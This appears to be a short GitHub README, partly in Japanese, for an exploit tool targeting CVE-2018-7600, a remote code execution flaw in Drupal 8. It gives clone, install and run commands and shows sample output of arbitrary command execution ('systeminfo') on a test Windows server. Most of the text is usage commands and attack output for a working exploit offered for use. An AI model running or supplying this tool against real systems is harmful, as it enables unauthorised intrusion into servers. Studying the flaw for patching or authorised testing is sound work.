0xaj2k/cve-2018-7600Drupal 8.x で 8.3.9 未満、8.4.x で 8.4.6 未満、および 8.5.x で 8.5.1 未満のバージョンでは、デフォルトまたは一般的なモジュール構成を持つ複数のサブシステムに影響する問題により、リモート攻撃者が任意のコードを実行できる可能性があります。
バージョン8のみで動作し、バージョン7では動作しません。
git clone https://github.com/0xAJ2K/CVE-2018-7600.git
pip3 install -r requirements.txt
python3 CVE-2018-7600.py
python3 CVE-2018-7600.py -u http://172.31.1.27
kali :: /opt/myscripts » ./CVE-2018-7600.py -u http://172.31.1.27 -p http://127.0.0.1:8080
CMD: systeminfo
Host Name: Test
OS Name: Microsoft Windows Server 2019 Datacenter
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
<snip>